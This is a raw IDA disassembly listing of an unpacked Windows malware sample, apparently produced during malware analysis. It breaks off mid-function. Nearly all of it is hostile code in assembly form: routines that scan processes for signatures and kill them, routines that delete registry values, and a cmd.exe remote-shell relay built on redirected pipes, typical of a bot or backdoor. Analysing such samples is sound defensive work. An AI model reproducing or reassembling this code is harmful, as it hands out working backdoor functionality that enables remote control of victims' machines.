; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2A6ECBA7A861831C187F47B54D6E6CF1 ; File Name : u:\work\2a6ecba7a861831c187f47b54d6e6cf1_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0002D000 ( 184320.) ; Section size in file : 0002D000 ( 184320.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _packed segment para public 'CODE' use32 assume cs:_packed ;org 401000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call dword_4170E8 cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call dword_41708C push eax call dword_417090 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call dword_417098 mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: .packed:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] loc_401584: ; DATA XREF: sub_43A34F+B0w movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call dword_41709C mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call dword_4170A0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call dword_4170A4 jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call dword_4170A4 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call dword_41709C cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DF04, 0FFFFFFFFh jz short loc_40186E push dword_41DF04 call dword_4170A4 loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DEF8, 0FFFFFFFFh jz short loc_401883 push dword_41DEF8 call dword_4170A4 loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DEFC, 0FFFFFFFFh jz short loc_401898 push dword_41DEFC call dword_4170A4 loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DF00, 0FFFFFFFFh jz short loc_4018AD push dword_41DF00 call dword_4170A4 loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C mov eax, [ebp+arg_0] loc_4018DF: ; DATA XREF: .RLPack:0043A674o movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 sub eax, dword_41DF0C cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 sub eax, dword_41DF0C cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 mov dword_41DF0C, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx call sub_416B64 sub eax, 1F4h mov dword_41DF0C, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call dword_417070 test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call dword_417070 test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DF00 call dword_417074 push eax push [ebp+var_36C] call dword_417074 push eax call dword_4170F0 test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DF10 lea eax, [ebp+var_30C] push eax call dword_41707C test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call dword_4170A4 mov eax, [ebp+var_364] mov dword_41DF04, eax mov eax, [ebp+var_36C] mov dword_41DEF8, eax mov eax, [ebp+var_724] mov dword_41DEFC, eax push [ebp+var_720] call dword_4170A4 and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DF04 call dword_417080 test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DEFC call dword_417084 test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call dword_41709C jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DF04 call dword_417088 test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DF00 call dword_417068 test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; 